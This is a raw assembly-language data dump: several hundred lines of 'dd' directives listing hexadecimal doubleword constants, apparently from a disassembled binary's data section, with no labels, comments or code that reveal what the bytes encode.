		dd 6A352005h, 0AB1F5717h, 2C18A49Bh, 1F6E2619h,	4211BF4Ch
		dd 0E24A1936h, 0D92870E8h, 15A03C54h, 0E985B700h, 0A9C5F7ABh
		dd 0E01D244Dh, 608C4AACh, 0DC5150AEh, 6C1C0579h, 82BC0CBBh
		dd 0EDB6320Bh, 9041576Bh, 324EC102h, 0B80071C4h, 0AC140973h
		dd 327B53h, 0FEEF6C78h,	48D61539h, 4AFE444h, 0B7401F86h
		dd 0F8E4CCB6h, 0CB00A090h, 0C7BAB571h, 0F2A7B3A5h, 0FC00ECFh
		dd 4E208F57h, 0D1BE8EEDh, 70488178h, 1080455Fh,	82C2F244h
		dd 92C4C01h, 26153361h,	12754DD8h, 0D14BC958h, 0C49C0270h
		dd 0A6000BC4h, 5CF1728Ah, 69BC0Fh, 0C2C574E1h, 7B31CA3h
		dd 2039C004h, 20577DB2h, 7FB05A90h, 90ED741Ch, 0D613D242h
		dd 0ECC2E05Bh, 0A8DB009Ch, 2FE2B989h, 66512704h, 6716EC87h
		dd 47E09909h, 0A9000F2h, 0F01AE4D7h, 0A059C049h, 1D5791B0h
		dd 2A788A00h, 0A4096048h, 8D4200EAh, 35FB7EF7h,	0D490A91Bh
		dd 0C378DA00h, 64635FDFh, 51680649h, 0B165B7D0h, 7943A002h
		dd 40D4700Eh, 984C8Ch, 0AF225BFFh, 0D5CB2019h, 8F3B2305h
		dd 5CC84BACh, 767D02FBh, 0B5501A88h, 0D770BCE6h, 6664A800h
		dd 7CFC31A3h, 10498C2h,	0ECC1BD1Fh, 29B77036h, 0CAFD13A8h
		dd 8748C8h, 0A5085104h,	9FD5DCFFh, 671F44h, 0C0A7CC6Ch
		dd 32E78A10h, 97C39404h, 1C8D4916h, 3004D02Ch, 848EBC43h
		dd 25A0A4D6h, 0DB3250A0h, 0A937AC00h, 20F29A29h, 793305F9h
		dd 45A44E0h, 0A4A022B8h, 0A2F093C4h, 80330A3Ah,	0B9B2AA11h
		dd 58894ED7h, 0E400C8B6h, 191D1498h, 0FCB14F5Eh, 37BC3E80h
		dd 7DDA30Ah, 50BE73C1h,	0CAD9D016h, 4B714E72h, 0E19A91C0h
		dd 0A11E7Bh, 3B9737A3h,	3012FE7Ah, 0DE917F0Bh, 880448B7h
		dd 11D0EB90h, 40349472h, 0BFD539CFh, 636C3Ah, 0EC19A2F4h
		dd 3694379h, 82E05317h,	990007A0h, 0DAF2C5D9h, 5C2F48FCh
		dd 2688EC57h, 1DA11280h, 0FB6D90h, 6F203601h, 0ACB71A08h
		dd 0B3794F7Eh, 65D9DF0Ah, 0DE00806Dh, 0AB46025Eh, 1791C933h
		dd 70B7D980h, 0A4A49DAAh
		dd 0A03D0301h, 71159699h, 18A8E2F4h, 21249E8Eh,	0CE00ECE1h
		dd 142ED119h, 0B38D44h,	0D3969F7Eh, 7497D541h, 80F4DA4Ch
		dd 662C7C2h, 871A007Fh,	0C1C43699h, 13E4CAF8h, 1969F71Eh
		dd 4700B493h, 0C2A7211Fh, 0E83539AEh, 0B7971A80h, 9B5C021Dh
		dd 65C840A0h, 0E9D65002h, 0E0B18A8Eh, 6E0372h, 0B822C99Ah
		dd 86E43248h, 0A4F4B600h, 8287DD8Eh, 1ED000Ah, 48C0E963h
		dd 0A1C03A2Bh, 0E2EE891Bh, 2A880024h, 13FC1019h, 7C008BB1h
		dd 0DA936992h, 5C79E491h, 0BB8FB84Eh, 1E17D1A0h, 691DE6B6h
		dd 87C282F6h, 0E03761C3h, 7D2ABFh, 0B9CC158Fh, 9FB4523Dh
		dd 0E080D096h, 2C9B171Ch, 48EE97h, 0F8AE3C1Eh, 886A91D5h
		dd 0A4206C4Fh, 46115B0h, 0D3C6A475h, 0C228B4B7h, 0B8BF3Ah
		dd 44548238h, 8E743Ch, 115D072h, 0E09DE23Ah, 3F9BCE07h
		dd 46321A20h, 25444488h, 5C98E34Ah, 765ACEB7h, 93A66820h
		dd 0F7F60762h, 0F02F34DCh, 7EE5DBE0h, 4AC94101h, 8845B357h
		dd 0E800543Dh, 6AE53B80h, 0FB007DE4h, 75DCD559h, 9156E349h
		dd 0A268405Ch, 0C53AE11Dh, 5C0880AEh, 0F78CE417h, 79022445h
		dd 85F13ECh, 0B7804C60h, 0C4986FE4h, 5DF70068h,	42FAEC14h
		dd 0A8B4DA37h, 928FB480h, 1B243EDh, 892B6A7Bh, 74EB47EFh
		dd 8A00D108h, 6E761445h, 0E6B191h, 9E8B97F8h, 2D51CA03h
		dd 946F5F24h, 4763C503h, 0DA36B84Bh, 1061C041h,	23E214C7h
		dd 0F93B3A00h, 0AA54CBC1h, 4A0A1262h, 0C1D024F0h, 1561C6C4h
		dd 80451C48h, 3B9BCA51h, 5024A13h, 7CE5FB01h, 0AFAAE061h
		dd 0FA4829D0h, 0B64D0298h, 547886BCh, 0F0463A02h, 649FC207h
		dd 7BF7610h, 0AEF3ACE7h, 1F4DA040h, 5449B7Dh, 716E000Ch
		dd 0A5BB2487h, 0A4B9AB45h, 19E44A09h, 0A1D9FE80h, 18482091h
		dd 0B6897CB8h, 5DC400BAh, 0AA5C462Eh, 65FACF9Ah, 3C621900h
		dd 2032D8D5h, 317260B8h, 0B4DE4B0Fh, 8639CD01h,	0F3710192h
		dd 0CF8DC8h, 52E150D5h,	95B226B6h, 8791410Bh, 0B4541805h
		dd 16B2B8D3h, 4AA9F6h, 0B8CA2710h, 0F4A42B49h, 25B34827h
		dd 88083934h, 3A8F8020h, 33A32443h, 6B83471h, 0AD836B02h
		dd 0D2BE70E9h, 0C5A70018h, 4B194F6Ch, 700FC28h,	0D6DA6A93h
		dd 0A446D942h, 110500C0h, 0EBAAE229h, 0CE070882h, 0EAF12B72h
		dd 0E590F8A0h, 0D142003Ah, 0C18D09ACh, 8C7A1DBh, 918038F4h
		dd 67DA692Fh, 40DD5145h, 0CBE01568h, 86B15600h,	97A8314Fh
		dd 0DAB5121Ah, 0BA5442EAh, 0D2606D6Ah, 0E40064AEh, 530F57B9h
		dd 32240Ah, 0BCFCF981h,	48F3C268h, 3959E632h, 73471B5h
		dd 0D0393FA9h, 1343D55Bh, 0ADBA2900h, 0BBD8B699h, 67272AB4h
		dd 8B9A00D8h, 0A4EDD7A5h, 0E2008F40h, 6E6B817Eh, 5E228905h
		dd 0EBE84047h, 0DEB02C03h, 10372125h, 1F08FE4h,	0F71B3C94h
		dd 0D4DF4B3Fh, 0D300ECE6h, 63FBD012h, 5EB50989h, 0C60420ADh
		dd 0A4482234h, 23430095h, 0CB31D273h, 33860964h, 3CE0E0E2h
		dd 30182FF2h, 0A9989253h, 20BC5BE8h, 8A2867B4h,	0F9726200h
		dd 0B0AE3051h, 43F8E8h,	37C9DEDCh, 0B3B6B236h, 1AEF0E04h
		dd 18CC4B11h, 6A3300C8h, 37AEC004h, 0D3260603h,	0E1070035h
		dd 0D6805292h, 0F8EB49Dh, 44FA7622h, 0AC578700h, 0C024FB03h
		dd 52005008h, 703555FCh, 16BC91C1h, 341809CDh, 80C24086h
		dd 8B2D060Fh, 0B00097F6h, 0D8421DF0h, 0D6F501E4h, 0E149740Fh
		dd 0C4998258h, 805EC643h, 99700980h, 7F5612EBh,	0A7FC23BCh
		dd 82D6D98h, 0C06FD905h, 0AC40314Bh, 0CDEE1BDBh, 7F233178h
		dd 0FB073AA0h, 0F81E41F8h, 1CE82900h, 2E45EEB3h, 5EF212B6h
		dd 26D4D09Bh, 8C1A49A2h, 7781E02Ch, 0C06167E2h,	71FBCC0Ah
		dd 0F0005271h, 97B41B8Eh, 4C61592h, 4EC0901Eh, 889780B3h
		dd 683057CFh, 0DDB58130h, 38644926h, 4A7B5800h,	40C853E1h
		dd 0D216B00Bh, 6D48904Ch, 58C3F663h, 872D5637h,	204A8420h
		dd 0C507CD86h, 0FB31D39h, 3CB840F9h, 5C855F46h,	0ABAA8004h
		dd 0B45E1DB6h, 69886601h, 651E63F0h, 3DD097h, 0CB1659D4h
		dd 39093C0Ah, 44D3528Fh, 1D4300B0h, 6FC9C5D5h, 1002BE05h
		dd 4AB74FF1h, 4471C1h, 0CFE3B17Fh, 193AD9FEh, 9EF81245h
		dd 0B90E4C20h, 0C6673B70h, 176A3C00h, 9728BF47h, 9FD08002h
		dd 50C036F3h, 0DD6C1380h, 39CCC866h, 4E429C1Eh,	2263C101h
		dd 0CBC1948Dh, 0DC4C20h, 3BB6B0B3h, 47CE6E15h, 9EC27D12h
		dd 0D519CD0h, 0CC06032Dh, 8178DAF9h, 0D2E8B8C0h, 0BDEB9600h
		dd 4AD5CE94h, 8024B9D6h, 7E17E93Dh, 3C39F231h, 9C518085h
		dd 0A3F97360h, 0BA703936h, 78061EAh, 0A4018F8Dh, 4E0CC8DAh
		dd 5A1BB01Fh, 0E2906580h, 0F65B8838h, 0CB202757h, 918F58A0h
		dd 7E005A37h, 55E18FCh,	0C8402C33h, 0B68A0860h,	8209B63Fh
		dd 599Dh, 849870FDh, 9E009149h,	0E364C120h, 24802A4Eh
		dd 687817h, 0D05FC825h,	99007F27h, 21E23FE0h, 2C6CA07h
		dd 6848D3AAh, 0A0796431h, 0E9F64407h, 0C0AA4B20h, 0F01A0A1Eh
		dd 8F3C377Ch, 7A009D91h, 0B3AE9AA2h, 31305F00h,	0C36BE035h
		dd 490A8075h, 0AECD6000h, 1217B45Ch, 0B6452DDBh, 9F218490h
		dd 83805C94h, 92DF1276h, 727C51h, 79B599AAh, 0CDEAEED5h
		dd 0F965A601h, 45E05C26h, 2502A040h, 0AF3C3AC2h, 60212B00h
		dd 1EB34FC5h, 0EDAED100h, 0FE1320A3h, 9B7B27A7h, 451820A0h
		dd 859866E8h, 754B2500h, 0F1917031h, 47E34F48h,	97DCD220h
		dd 497B41B1h, 253C72F9h, 4FE4A09Dh, 5E9FAD4h, 0C777888Ah
		dd 78B10265h, 4C5487C6h, 0BDFE1604h, 7A811CA8h,	3050F37Fh
		dd 0F524664Fh, 5B4A3426h, 2CAE901Fh, 84D11000h,	3C81C0Ah
		dd 4057F7F8h, 811644DAh, 1700BE1Fh, 0F05B64B7h,	6F25019Ch
		dd 9E40D1D7h, 3032F189h, 8301673Ch, 0D62231AFh,	0DBCC7E10h
		dd 561404C3h, 0C14E21C9h, 0FCB5F214h, 72020DB4h, 1C83A6D7h
		dd 581C704Ah, 2AC09853h, 0EA364963h, 80CAF73Eh,	0CD72288Bh
		dd 3AF158BCh, 7A0B1A3Eh, 2464891Fh, 39198400h, 7EF811BCh
		dd 88C53D8Ch, 6F0AA880h, 40561F58h, 0E2749200h,	244204ECh
		dd 0DD3F00F8h, 23CD6214h, 5B01725Dh, 0F1879705h, 10874352h
		dd 0C7D63E27h, 0B1EDE066h, 0CC0099E7h, 71409894h, 73C0E295h
		dd 7C25FA14h, 3C5C069Ch, 51EBC962h, 0CE240702h,	29505159h
		dd 0C26FD480h, 0BD008B0Ah, 621B8AD0h, 812279h, 1333F73Ch
		dd 65A2D691h, 0EE5D30C0h, 3FA97866h, 0E60ED08Bh, 260B4B0h
		dd 50D6DEF6h, 2835CF30h, 6C11972h, 0BFD75198h, 0AE767146h
		dd 9E005970h, 4D1D4BC9h, 6024135h, 0CFC7ED10h, 0DF44B0BBh
		dd 79C330E8h, 537BD79h,	80DC983Ah, 0B7F82F5Ch, 0E2514FC1h
		dd 14C950E8h, 5490242h,	52951D9Ch, 0CF167480h, 0DC00B8A0h
		dd 0A3AF0CC3h, 0E9AA89h, 0A142CE84h, 0F329EBD1h, 7D9F79C7h
		dd 0BC6FE04Fh, 0F3998ADh, 38635CDCh, 2E1A2780h,	4B189F9Ch
		dd 23614159h, 37BC00CEh, 523BA3B1h, 18C07BF2h, 12FB8060h
		dd 0F40C0056h, 9D6FEFAAh, 0B5001F16h, 0BAB8B51h, 7DE8650h
		dd 57941192h, 8E5A30A6h, 2D40E391h, 96053E1Ah, 31710D80h
		dd 6A200462h, 411BF82Eh, 0E86C2400h, 3A9F2898h,	2A1E375Ah
		dd 4BA3C355h, 0A1006072h, 0B0B188CCh, 0FC6756h,	0B8F823DCh
		dd 4990CA65h, 605FD8A8h, 2992D11Ch, 45FBBE47h, 62CC4D01h
		dd 0E88A2182h, 0B4A076C2h, 4DB1C7ECh, 0C0A1F3FAh, 0E265137Fh
		dd 52A4A3DDh, 44810047h
		dd 0B67C6255h, 77037F50h, 7115F182h, 4CB5DA84h,	643F878h
		dd 0BA3398F7h, 0B91C19EAh, 93C7A53Dh, 64619A66h, 90F3D34Dh
		dd 905FAC2Eh, 2BF8386Ch, 0A0150194h, 0C8E83E09h, 8DB41801h
		dd 0B342007h, 0D483A7Ah, 6286008Ch, 0ED969F1Ch,	0FA710D95h
		dd 0D0E94B90h, 3B0FC599h, 6E86229Dh, 9516B72Dh,	0EADF5000h
		dd 0F0BAAB1h, 138DA1BCh, 0BDC69722h, 4DAF6040h,	492FF930h
		dd 8D5C95h, 631A20F8h, 0C905A574h, 0F6299A18h, 3A41D9h
		dd 0E5DF8746h, 0F7C3EB94h, 6998200h, 1C630BE6h,	8EE7091Ah
		dd 2820C7E8h, 228AA95Dh, 1F35500Eh, 65F386CBh, 0F7BA3071h
		dd 9380AB59h, 0F90216FEh, 778303Ah, 85CE81A6h, 0CC4CC919h
		dd 1DEA00E2h, 0A7EB3DEFh, 93302444h, 0CFF8514Dh, 0B2C40058h
		dd 896A4A39h, 590DABE5h, 414CBF4Bh, 1D7B99E8h, 0C01308D2h
		dd 0DA3C9A11h, 1B50AAB6h, 120181B4h, 91DF0538h,	6AD06668h
		dd 2E8E0FF6h, 0FFC71Bh,	7D2DE990h, 5A1DA116h, 0A6C1A889h
		dd 0A74BA0DBh, 1F00B026h, 0B299DE34h, 22F14D2Fh, 5B4C144Ch
		dd 70A21548h, 82CF4094h, 78079198h, 94D63C5Ah, 0A29DAD92h
		dd 1862F3D4h, 1B00ED85h, 22F8D8CCh, 7C5F878Bh, 3E8C7854h
		dd 78638C2h, 694452DDh,	0BA83B302h, 48AD1926h, 187566D8h
		dd 814DCCE8h, 0C7E220FBh, 5A851600h, 8683EC40h,	2814980Bh
		dd 7014CBE8h, 95E00012h, 0A05A913Ch, 86044F99h,	0DCDB6204h
		dd 0A0DF84C8h, 0B1EC18h, 0FFC280D7h, 0A9C39C6Eh, 0F164D11Fh
		dd 0DD9BD0C2h, 93B8801Fh, 1BE2F15h, 0A9E217A6h,	20010233h
		dd 3A7C0884h, 8060902Ah, 1EB6EF00h, 152D8750h, 0F20F0064h
		dd 1929B5Ah, 0D4265F1Dh, 200018F5h, 0BA1B4DEDh,	5A99C0E9h
		dd 2738569Dh, 3DA83900h, 69A2F91Eh, 64CB0018h, 0BEE0C181h
		dd 0B303BFB1h, 0A6634EB2h, 0ADC90173h, 0FFE3414Ch, 20DBE982h
		dd 792484ACh, 9D0018EDh, 0A0E8E6BBh, 5A4B2436h,	0FB98E004h
		dd 0EC0095FAh, 0D96C90DAh, 63C86015h, 0D03220CCh, 651226E0h
		dd 313ADF00h, 1CC0154Fh, 7AC7018Dh, 0E1990573h,	2660803Ch
		dd 9318ABE2h, 0CE88A85Fh, 35220385h, 3CECC09Dh,	0C3A88680h
		dd 0FB4F6F12h, 3D080BAEh, 8550C005h, 26704EDFh,	88807989h
		dd 4CC9F741h, 0B909D8A6h, 81A0C172h, 827E4354h,	0CF1B9881h
		dd 4291061Ch, 9CC4F3CCh, 0E008B3F4h, 4052DC80h,	16B625E4h
		dd 248F6003h, 571A71Ch,	21EAE361h, 6C68207h, 80E362D5h
		dd 4E105278h, 0B365134Ah, 0DFB02026h, 30E94496h, 30ED0B98h
		dd 80EFE2CBh, 70A0A721h, 29218D95h, 0CF42905h, 741ECADDh
		dd 736A9A00h, 4B8CCE25h, 795A01ECh, 0CD4D0359h,	4CC184F7h
		dd 58D1F3A7h, 0A98E6BA2h, 0CD20B2E0h, 0EC801467h, 5749FC03h
		dd 0C83BBE8Ch, 6EABC4Ch, 516F8353h, 3044502Fh, 6BE19FFFh
		dd 4B1DEC19h, 583AD890h, 0C91F477h, 2A018824h, 0D8A2FCE2h
		dd 0A74E1D6h, 395F040h,	89CCB0ACh, 27D49968h, 0CE790086h
		dd 0AB3F49B4h, 35280B4Fh, 0D80DDDB7h, 8136F850h, 46AE8800h
		dd 0BE370542h, 13A3918h, 69E72AF4h, 740AF5E6h, 0C531F764h
		dd 526AF163h, 31834180h, 858AE9ECh, 2430F700h, 6FE6D990h
		dd 0C3BD0E81h, 999E3A42h, 0E4683148h, 5F02E274h, 0B4DF8E09h
		dd 7D84281h, 0B060D428h, 2DFE76h, 0FFD6E20Fh, 0EE855805h
		dd 4C65CD09h, 0DA549071h, 735A0588h, 0C0911A64h, 8CB5768Ch
		dd 0FB30ED00h, 0AD3223D2h, 0D4A7526Ah, 0A2CFC601h, 0D07D3748h
		dd 2F00A11Ah, 0BE42DDE6h, 432F9F0h, 67650FC4h, 0C488CDA4h
		dd 0E50185EBh, 0CB37D01Fh, 518364A2h, 0C090636Eh, 0E3CF06E0h
		dd 0B419A91Eh, 0E1941400h, 24A34601h, 26B530A7h, 0C350E68h
		dd 38A9BE02h, 6D008046h, 0E99549C6h, 0D2374Bh, 0F31712BAh
		dd 22647251h, 0A8C3A002h, 0C0F8AA8Fh, 5C41A684h, 2D179C48h
		dd 43061753h, 0CE2AF110h, 10B96825h, 0F2FC10h, 62ABD256h
		dd 0C20515E9h, 0B7466100h, 0A3C76DEAh, 25BA22F1h, 0B5D27EA0h
		dd 62A6F60Ah, 2BBECCC8h, 9C00D401h, 0F8F15538h,	0B2480051h
		dd 0FE21AEE6h, 0C80F85D7h, 0A9A742D6h, 58000A63h, 9C22F000h
		dd 1EB15Ah, 100AF8DDh, 1A5D92DFh, 42C92516h, 81763008h
		dd 24B20465h, 0BF58D040h, 5C2CDFB8h, 27101C59h,	802B9885h
		dd 0F1CEA850h, 0A44B9339h, 390F0423h, 3C818083h, 9818C4D5h
		dd 0F6B70B68h, 9C8042D4h, 4A52AD90h, 0CD0A90A8h, 0C784FD00h
		dd 5429D52Bh, 0AC05051Ch, 0C14046BFh, 0CD9495D8h, 0A5D120A2h
		dd 0A0395E60h, 626130C9h, 10E4B048h, 0A080705Bh, 0F8532FC8h
		dd 46740409h, 0C00747BCh, 0FDDD99A8h, 0E4C8A30Bh, 21B084BFh
		dd 980044B2h, 63024B68h, 4500B322h, 1D4F75B6h, 3FD04479h
		dd 0E09895CCh, 0A2C93890h, 9A7344h, 7386DFBh, 9080BFBBh
		dd 79984754h, 0C23E6E03h, 0A06FBC12h, 0B80A9D37h, 315A1C64h
		dd 91395257h, 1168C578h, 41804E93h, 63488E6Ah, 0F402AAD6h
		dd 8C2B79B8h, 0C9DC82E2h, 1F0C657Dh, 0F0607956h, 0EE68256Eh
		dd 0A58D5B00h, 0CF538B89h, 0E3A003Ch, 2DF56A41h, 0BCB939A2h
		dd 2ACBD180h, 0E0CCB514h, 43EE296h, 0B27AF8F4h,	1C149C8Ah
		dd 83DFAA03h, 0E12C62ACh, 8020D4C8h, 55A73A09h,	0C8DEBA95h
		dd 526BF900h, 0E14A8448h, 744E03Eh, 4D1C8DE4h, 0B931E6h
		dd 82983846h, 4B146D87h, 0C7E8200Ah, 66448860h,	48FB7C43h
		dd 56875EF0h, 7310AE01h, 4FCD3B95h, 2C58FD0h, 0B1DCDD7Ch
		dd 9FE1CF81h, 62FC304Bh, 775A9588h, 64604836h, 0C8E23E01h
		dd 2D291B23h, 0DD67070Ch, 97C05E47h, 3AA6AB3h, 165A4591h
		dd 3988016Ch, 790C3524h, 0A169A7B5h, 6F2A09C1h,	0F6010B0Eh
		dd 0CC53A0A3h, 0F00FB05Ah, 29838EE5h, 0B8C80129h, 0E0D3572Fh
		dd 28902E8Fh, 719CDDBDh, 60F7707h, 62BE2C38h, 5B01B1B5h
		dd 4BA8BF3Ah, 0D4515FA4h, 0A6E1A159h, 0A458E039h, 0CF9F0F06h
		dd 15FD1880h, 0E28F5032h, 0EF26C17Eh, 0B99363F0h, 1589000Ch
		dd 946C33E5h, 0B1778476h, 64D3CA00h, 0E236C84Ah, 0CE3D0699h
		dd 594E520Ch, 82EE3017h, 0DE35BB00h, 362C2EFh, 0C9D18B7Ch
		dd 0E8096AB2h, 19C6E8BBh, 4C104D50h, 0F1006DF3h, 0E3C3E98Dh
		dd 73CB4E5h, 0C9058594h, 40346731h, 9E5A3B3Ah, 124BD002h
		dd 64B662EEh, 0E7E08094h, 37697ABAh, 1594C90h, 709C4454h
		dd 1E03608Ch, 67E6595Eh, 90C0E5EDh, 324DAC76h, 0A13133CEh
		dd 0A7995CE0h, 90B99314h, 17E40050h, 6508E1A3h,	0B7FA02D7h
		dd 229AEEF0h, 8D077059h, 8AD0182Dh, 3C59062Eh, 9000ED3Ah
		dd 984B74DBh, 0DCB0CE89h, 1776C622h, 0A923F2h, 0AD030C90h
		dd 2C035EABh, 0CF424393h, 0D488ADBAh, 63A5007Ah, 0A8D4810Dh
		dd 65C230Fh, 2F210E04h,	2800B1A6h, 0AEC5EC6Ah, 872CA720h
		dd 2C097873h, 304C4E6h,	891B87Eh, 2AB06515h, 9B00EF23h
		dd 0CF1452A8h, 0C50993Dh, 43BF22DFh, 0B70924D9h, 87E67B96h
		dd 0F871CD70h, 2BC8A710h, 4C32E8D7h, 51045CBDh,	82070B61h
		dd 88C09291h, 1266353h,	80605CBFh, 0C6C835h, 0DC8D8207h
		dd 0BCAD8B37h, 4AA740C3h, 6646EF59h, 0DBC91DD1h, 0D412C09Bh
		dd 1A84CB78h, 0C0F5300h, 0BEC45025h, 0A7AE24E3h, 0A95F4068h
		dd 3FEA1F4Eh, 900A8408h, 6FFC8033h, 86185742h, 0B8FB7A09h
		dd 0E06C44ACh, 60C53E04h, 2BB53C82h, 460A256h, 0E650C836h
		dd 6898B8D0h, 7C9CB3E4h, 30C83592h, 0B64F00B4h,	78775A33h
		dd 3B09A126h, 0A4D889A7h
		dd 934465C8h, 0DB324049h, 77E10FF2h, 0BC76246Dh, 492003Ch
		dd 0AF62BFC7h, 2D439494h, 409DDAF7h, 0A32C1858h, 39510394h
		dd 0B3BA7447h, 85DF69E7h, 1040028Ch, 4C677696h,	54260317h
		dd 393FCEBEh, 976C8CA4h, 208AC00h, 521B20BFh, 63923E25h
		dd 0E0017B2Dh, 3DC1E8F4h, 0EC1B2E08h, 8BDD980Fh, 19ED805Ch
		dd 41A755h, 0D3560CA3h,	45E085B1h, 4B2A583Eh, 0FFF54C40h
		dd 0FA412BCBh, 96DA03D0h, 62A5D87Eh, 6AFE211Eh,	0E39480B9h
		dd 0F12EE5F8h, 0A4CF0786h, 744D4F53h, 3AF8A234h, 5CC0405Eh
		dd 0EB012632h, 5022C701h, 15FC22CCh, 0A0F2BAh, 557E3BD2h
		dd 39A204EEh, 4DA2F771h, 3A0BC577h, 258B536h, 0C42922E4h
		dd 4B620050h, 3720EBACh, 7600917Eh, 0F73F1653h,	25C721A0h
		dd 6425A5D7h, 9246C0F6h, 37E0D42Ah, 0A9190607h,	0CD1264CEh
		dd 9244469Eh, 94AF01B4h, 29A3F3D8h, 0C37180E8h,	81D31351h
		dd 0B54F00E9h, 0DA9C9691h, 0ED0035D6h, 1243D41Ch, 3E31BFE2h
		dd 39E2CC62h, 0A8E0BACBh, 0E654889Fh, 44074128h, 2489E7D8h
		dd 6ED33751h, 0E1C52330h, 0DF80C468h, 511B169Ah, 0E4C91D00h
		dd 0F64D2AD1h, 0C1068830h, 0C05CB85Ch, 0FA51BA11h, 0E66807D5h
		dd 0A0A853A1h, 0F92C655Eh, 0DC2A163Fh, 9DBD80E4h, 7122C2A7h
		dd 0EF12002Eh, 5733C6D4h, 0DEFEC81Bh, 3A880C00h, 53AF0FDFh
		dd 3B4A2ED0h, 13A70FD4h, 0F5CC4D84h, 4866F21Ch,	0DEA7FE00h
		dd 1C12E925h, 730BB06Ch, 0BDB12EA8h, 25C1FC4h, 79DFE839h
		dd 0F1BA9E21h, 55238C50h, 0AE0A39FDh, 0BED1049Ch, 79D34302h
		dd 68E1C5F8h, 0C0A838C3h, 290459A8h, 0C241C0F4h, 0F88B98E4h
		dd 347D6D00h, 83367C85h, 9F020EAFh, 9C05814Eh, 4D380029h
		dd 0FFFD7ED4h, 7554EF0Bh, 20908F10h, 0B1A0847Fh, 95576C9h
		dd 0E54D0887h, 8C0004C4h, 989439DFh, 963B699Ah,	9364020h
		dd 0D400ECA1h, 0F07E3396h, 182FE81h, 0A6866098h, 0D8181566h
		dd 85041CD1h, 0DB62563Ah, 2EE828C8h, 111C0AA0h,	78A5284Fh
		dd 0C604E47Ah, 5A4BEF0Fh, 19BCB488h, 41F0B162h,	0F3883035h
		dd 0A1CF9304h, 0BA5FDD29h, 0F07CB683h, 61C1421Bh, 6446FCB3h
		dd 614EA630h, 70B5A0h, 0B1B42F3Bh, 0A8CC8F58h, 0B70B4D7Dh
		dd 90905A2Dh, 9E6FE8h, 6A064E0Bh, 1B65699Bh, 5AED2500h
		dd 1E7519CEh, 153806C7h, 0A9485242h, 3200657Ch,	1B43DC07h
		dd 0B0BE60DAh, 189013BCh, 50DC2729h, 0B4916FA3h, 7E812824h
		dd 80EC8B0Eh, 942FFBBAh, 0E036505Ch, 7FAA88DBh,	0EAF1D200h
		dd 30B13C28h, 4B6A0C6Eh, 5079495Ch, 1035FB25h, 51A8D24h
		dd 0BDBE07A0h, 0AC0EF8Ah, 3ADE3A20h, 27C5296h, 0D393C5Eh
		dd 5C629107h, 0C8054071h, 8088A220h, 1F3D07A0h,	0E07FCB93h
		dd 5C3E8CDEh, 0B49AE90Fh, 1A28C7BCh, 5797DFD0h,	1F02175Eh
		dd 46E0C8A1h, 3DF1ED3Bh, 5C84D014h, 873E1498h, 0DC5306h
		dd 97FBA4FAh, 3570F5Eh,	0D3528E9h, 62C1179Fh, 1E83DB5h
		dd 83DD7FE2h, 9C79BBF1h, 7E097538h, 0A448F24Dh,	0B052F03h
		dd 0A6079151h, 3BE5B088h, 1501F94Ah, 3C29C201h,	801C282Dh
		dd 78FEFB2Ah, 0A6E600A1h, 0CB8D8628h, 24009F64h, 0BEBCD15Ah
		dd 0C3BF9303h, 8A34B9C0h, 651670A7h, 0A74B617Ah, 45129040h
		dd 1F471Ah, 0BFF028BCh,	8C8E526Eh, 2032DE00h, 0BE82C783h
		dd 0B9898A8h, 0FAF8EFF5h, 0D9E2EE03h, 0BD29E900h, 228A1C18h
		dd 32E8FAFFh, 93617ACBh, 0BC034864h, 864A9934h,	73A19044h
		dd 79BD0024h, 62E72B31h, 9D07FA1Ch, 5A7364Eh, 8CA3DA85h
		dd 0CF6B2807h, 0F001A9C7h, 30E2F2D6h, 5A679020h, 0D0000A61h
		dd 28FE8D6Ah, 5E0D65Ch,	0BFC8AB54h, 8024CCB9h, 0A8252E00h
		dd 4A968B84h, 48C0B853h, 91C0783Fh, 7B03AB12h, 344AEB00h
		dd 961FDF5Ah, 0A23D3FCEh, 0A042DBCh, 0B064A709h, 0DD884128h
		dd 0E8E63A30h, 0B1B8215Fh, 4DBF11F6h, 13B9E117h, 926AF04Eh
		dd 1FEE471Eh, 0D1017941h, 24702C9Fh, 4484B812h,	1700EC4Fh
		dd 1C356BB2h, 748C9C5Ah, 580BE694h, 0F82E00E3h,	33C90A88h
		dd 77620990h, 0B22FCC04h, 0A52100F8h, 0B89701B6h, 0ECFE7Fh
		dd 0C5E03669h, 38F20FBDh, 9830031Ch, 4B7250Bh, 0E845ED98h
		dd 689CA5BEh, 8DB180C4h, 99E491h, 0E5ADE17Ch, 38F3D22Ah
		dd 0AE267009h, 909C8540h, 3C3E44C8h, 338045EEh,	7F4610E1h
		dd 35072438h, 0CE23DCE2h, 0CC5169h, 75C0BB95h, 9001CF0h
		dd 3C7E1B81h, 908ED4h, 60B2D84Bh, 93532E49h, 0B7616162h
		dd 8D5EE00Eh, 0BA4C0036h, 24156DC0h, 0C31499ECh, 1394ACF2h
		dd 3400594Bh, 434908F8h, 9C9B5073h, 891650Eh, 0A5AC008Bh
		dd 895CE550h, 44CD6224h, 4DF86AC0h, 28E2616Fh, 83C2293Dh
		dd 0BAA56B18h, 19FD093h, 0A1812070h, 0E187310Fh, 0CBA0C0B9h
		dd 174212BBh, 0C0182294h, 2BE523B0h, 71D03748h,	0D173C575h
		dd 28B0C97Ah, 0A04344h,	0BF2D8CEFh, 0DF07B9CEh,	91002079h
		dd 0AFB1BEA4h, 291229DCh, 82B8BF0Eh, 73D2AAC0h,	96DA9060h
		dd 4836E709h, 318C00C3h, 127A43F8h, 9A9A0B1h, 10808080h
		dd 0C77E79D4h, 182820EBh, 4C448700h, 8F6F95E2h,	6780A04Bh
		dd 2B4CB3h, 63D88005h, 0CE80C1A6h, 0A34C1149h, 5A82FC6Dh
		dd 34E05739h, 242CFB36h, 230188C3h, 28F1147Dh, 719A443h
		dd 0C7ED9E98h, 925EE1D7h, 0BAF8D0DBh, 62B2F200h, 5A539F04h
		dd 0DAA75C21h, 3D2CC040h, 0A6039E33h, 0B409D397h, 0AD72802h
		dd 0C45E4B15h, 4078B4C8h, 87351B60h, 0B8AAEC00h, 0A9F9402h
		dd 503360B4h, 53811A7h,	90DF9803h, 0E8410FCFh, 18AFFDAh
		dd 0B12E5A37h, 0FEFACCE6h, 0D4733C44h, 0CAE70607h, 74B097BCh
		dd 111D764h, 33F5604Ah,	68C7E81Ch, 4A0A048h, 0F63002Fh
		dd 9CE5FED1h, 7E258F37h, 0A62C48BAh, 2B201EE9h,	0B37947A1h
		dd 0A248341Ah, 0D3310058h, 926EB428h, 3E9D01A7h, 6786E185h
		dd 9C8440FCh, 0BCA10393h, 80543C54h, 2CAC4732h,	44309802h
